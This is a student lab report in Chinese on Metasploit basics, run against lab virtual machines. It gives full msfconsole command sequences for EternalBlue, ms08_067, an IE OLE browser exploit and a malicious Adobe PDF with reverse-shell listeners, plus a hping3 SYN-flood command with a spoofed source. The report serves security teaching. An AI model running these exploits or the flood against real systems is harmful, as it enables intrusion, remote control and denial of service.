20181224《网络攻防技术》Exp6 MSF基础应用
目录
- 20181224《网络攻防技术》Exp6 MSF基础应用
一、知识点总结
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六种模块
-
渗透攻击模块
Exploit Modules
:攻击漏洞,把
shellcode
"背"过去
- 主动渗透攻击:攻击某个系统服务
- 被动渗透攻击:攻击某个客户端应用
-
辅助模块
Auxiliary Modules
:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
- 网络服务的扫描与查点
- 探查敏感信息泄露、Fuzz测试发掘漏洞
- 收集登录密码
-
攻击载荷
Payload Modules
:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码 -
空字段模块
Nop Modules
- 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
- 由于系统无法精确计算
shellcode
的起始地址,所以加入nops
以增加攻击成功的概率
-
编码模块
Encoders
- 改变
payload
形状,使得不出现特定字符 - 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
- 改变
-
后渗透攻击模块
Post
:攻击成功之后,动态传输代码使其在被控机执行 -
查看六种模块源码目录
/usr/share/metasploit-framework/modules
3.MSF的三种用户操作界面
-
msfconsole
-
查看模块的具体信息
info [exploits|auxiliary|post|payloads|encoders|nops]
-
查看设置信息
show [options]
-
查看攻击目标类型
show [target]
-
查找命令
search
- 查找2016年产生的在windows平台下的漏洞
search ms16 type:exploit platform:windows
- 查找2016年产生的在windows平台下的漏洞
-
-
armitage
- 启动服务器
service postgresql start
- 启动armitage
armitage
- 启动服务器
-
webgui
二、攻击实例
1、实现ms08_067(由于没有相应的镜像,试验在03上是失败)
靶机:Microsoft Windows 2003
payload : generic/shell_reverse_tcp
实验步骤
- 靶机和攻击机ping成功(建议改成桥接模式)
-
攻击者试探靶机是否存在ms08_067这个漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.209.136
- 建议使用这个步骤,要不会换很多台虚拟机找靶机……(稍微省事一点吧)
- 查看到靶机的版本号
- 查看到靶机存在ms08_067这个漏洞,有了这个大前提,我们就可以开始攻击了
- 输入
msfconsole
打开metasploit控制台。
- 查看一下ms08_067这个漏洞在哪里
search ms08-067
- 选择漏洞
use exploit/windows/smb/ms08_067_netapi
- 查看设置信息
show options
- 设置靶机ip
set RHOSTS 192.168.209.136
- 默认端口为445,使用辅助模块查看445端口是否开放
search portscan # 搜索端口
use auxiliary/scanner/portscan/tcp # 使用漏洞
show options #显示设置
set RHOSTS 192.168.209.136 # 设置监听者地址
exploit # 攻击
-
查看targets
show targets
也可以看到我们靶机的类型set target 1
其实这里不修改也是可以的 -
查看可用payload
show payloads
选择generic/shell_reverse_tcp
set payload generic/shell_reverse_tcp
- 查看设置信息
show options
- 设置监听者ip
set LHOST 192.168.209.129
- 设置监听者端口号
set LPORT 1224
- 进行攻击
exploit
由此发现Windows2003不能实现该漏洞的
2、实现ms17_010_eternalblue
靶机:Microsoft Windows 7(10.0.0.168)
payload : generic/shell_reverse_tcp
重新开始
我们首先进入
/usr/share/metasploit-framework/modules/exploits/windows/smb/
选择我们要使用的漏洞
这里我选择的是ms17_010_eternalblue可以看到这里的漏洞是个17年的,还比较新嘿嘿。(原来这就是永恒之蓝)
-
关闭靶机防火墙
-
查看靶机是否有此漏洞
msfconsole use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.209.133 exploit
-
用kali进行攻击
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/reverse_tcp set rhosts 192.168.209.133(靶机IP) exploit
- 连接成功后获取shell,输入
ipconfig
验证
攻击成功!
尝试更换一个payload : generic/shell_reverse_tcp
- 攻击成功
尝试再更换一个payload:windows/x64/meterpreter/bind_tcp
- 攻击成功
3、 一个针对浏览器的攻击ms14_064_ole_code_execution(唯一)
攻击机Kali:192.168.209.129
靶机Win7专业版:192.168.209.133
payload:generic/shell_reverse_tcp
1.攻击机和靶机关闭防火墙,相互ping通
2.msfconsole
进入控制台
search ms14_064_ole_code_execution
查找漏洞
3.如上图,输入use exploit/windows/smb/ms14_064_ole_code_execution
指令选择漏洞
-
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码。
-
靶机:Windows7 IE浏览器(192.168.209.133)
-
具体步骤如下:
search ms14_064 //查看与此漏洞相关的攻击模块 use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块 set payload windows/meterpreter/reverse_tcp //设置攻击载荷 set SRVHOST 192.168.209.129 //设置攻击机IP(kali) set AllowPowerShellPrompt 1 //设置powershell set LHOST 192.168.209.129 //设置监听地址 set LPORT 2666 //设置监听端口 show targets //查看此漏洞适用的系统版本 set target 1 //设置win7靶机 show options //查看设置的参数信息 exploit
运行后,发现报错,说是此地址不可用或是正在被使用。我猜测是端口的问题,所以我将LPORT重新设置为2666,攻击成功!
- 将生成的URL拷贝至Windows 7虚拟机的IE浏览器中运行
-
回到kali中,看到一些提示会话创建成功的信息,此时用
sessions
查看此时kali中创建的会话 -
输入
sessions -i 4
即可获取刚刚我们所创建的那个会话连接 -
输入
ipconfig
,获取到靶机的ip
4、一个针对客户端的攻击Adobe exploit/windows/fileformat/adobe_cooltype_sing
靶机:Windows 7(192.168.203.133)
攻击机:kali(192.168.203.129)
-
首先,按照如下代码在kali中生成利用漏洞的pdf文件
msfconsole //进入控制台 search adobe //搜索与adobe有关的漏洞 use exploit/windows/fileformat/adobe_cooltype_sing //选择使用此漏洞 show payloads set payload windows/meterpreter/reverse_tcp //选择攻击载荷 show options //查看需要配置的参数选项 set LPORT 1224 //设置端口号 set FILENAME jjh1224.pdf //设置生成的PDF文件名 exploit //生成.pdf文件 cp /root/.msf4/local/jjh1224.pdf /root/Desktop/jjh1224.pdf //将PDF木马文件拷贝至Kali Linux桌面
-
将生成的pdf文件拷贝至靶机
-
按照下面的代码在kali中开启监听
use exploit/multi/handler //进入监听模块(tcp回连)
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看需要配置的参数选项
set LPORT 1224 //设置端口号
set RHOST 192.168.209.129 //设置监听kali的IP地址
exploit //开启监听
-
在靶机中用Adobe Reader打开jjh1224.pdf这个文件(我的Windows7是装了wps的,不知道是不是这个原因,到时我的pdf打开会闪退,我卸载了wps。
-
可以看到,kali成功获得了靶机的ip地址。(最初默认了LHOST4444,没有与前面一致,所以一直没成功,改后攻击成功!!!)
5、wireshark exploit/windows/fileformat/wireshark_packet_dect(失败)
靶机:Windows 7(192.168.209.133)
攻击机:kali(192.168.209.129)
-
首先,按照如下代码在kali中生成利用漏洞的pcap文件
msfconsole //进入控制台 search wireshark //搜索与wireshark有关的漏洞 use exploit/windows/fileformat/wireshark_packet_dect //选择使用此漏洞 set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 show options //查看需要配置的参数选项 set LHOST 192.168.209.129 //kali的IP set LPORT 1224 //设置端口号 set FILENAME 20181224.pcap //设置生成的pcap文件名 exploit //生成.pcap文件
通过show options我发现该漏洞只支持win32,所以我再次放弃Windows7,重新回归WindowsXP,我们再次运行上面语句。
-
将生成的pcap文件拷贝至共享文件夹中
-
按照下面的代码在kali中开启监听
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 show options //查看需要配置的参数选项 set LHOST 192.168.209.129 //kali的IP set LPORT 1224 //设置监听的端口号 exploit //开启监听
- 在靶机中用wireshark打开jjh.pcap这个文件
- 回连失败,没有获得Windows7主机的shell权限
6、成功应用任何一个辅助模块dos/tcp/synflood(唯一)
攻击机Kali:192.168.209.129
靶机Win7:192.168.209.133
漏洞:dos/tcp/synflood(唯一)
1、show auxiliary
命令显示所有的辅助模块以及他们的用途
一眼相中TCP SYN FLOODER
2、SYN Flood攻击原理
- SYN:同步序列编号(Synchronize Sequence Numbers),是TCP/IP建立连接时使用的握手信号。
- SYN Flood利用TCP协议缺陷,通过一定的操作破坏TCP三次握手建立正常连接,占用并耗费系统资源,使得被攻击方资源耗尽,无法及时回应或处理正常的服务请求。
- 攻击原理:通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,在进行第三次握手时,服务器等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,才将此条目从未连接队列删除。这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求不能进去以及被丢弃,目标系统运行缓慢,引起网络拥堵。
3.Win7下按Ctrl+Alt+Ins
启动任务管理器
查看性能
,监控CPU的利用率,开启Wireshark抓包
4.Kali中输入hping3 -q -n -a 1.2.2.4 -S -s 1224 --keep -p 445 --flood 192.168.209.133
其中1.2.2.4为伪造源IP,1224为伪造源端口,445为目的端口,10.1.1.113为目的IP
5.查看Win7的任务管理器和wireshark抓包结果
如图,Win7的性能利用率已经达到90%并居高不下。Wireshark抓到的包显示大量源地址为1.2.2.4,在给靶机win7发送请求连接,进行SYN Flood攻击。综上表明已经攻击成功。
6.Kali中按Ctrl+C
结束攻击
查看Win7的任务管理器,性能利用率恢复正常。
四、实验总结
1.实验总结与体会
实验的过程中一直困苦于no sessions的问题,有些问题最后解决了,有些问题还在遗留,总体上收获很大。虽然之前也使用过msfconsole,但是这次实验从系统上了解了他的六大模块,实验中用的最多的还是exploit和payload。从这次实验,我也更加感受到nmap的强大,感觉nmap和auxiliary的作用有相似之处。之前在做其他课程的实验也使用过nmap,但是这次却让我实验效率提高。
2.离实战还缺些什么技术
啊,这可是差的远了。实验参考了往届学长学姐的分析和做法,也尝试了新的攻击方法,遇到很多问题,好在成功了。对于msf我还是个小白,距离实战还有很远很远的路。
3.用自己的话解释什么是exploit,payload,encode.
exploit
攻击者对靶机进行攻击的这一过程
payload
攻击者进行攻击的“武器”
encode
编码,使得shellcode改变形状,不具有特定字符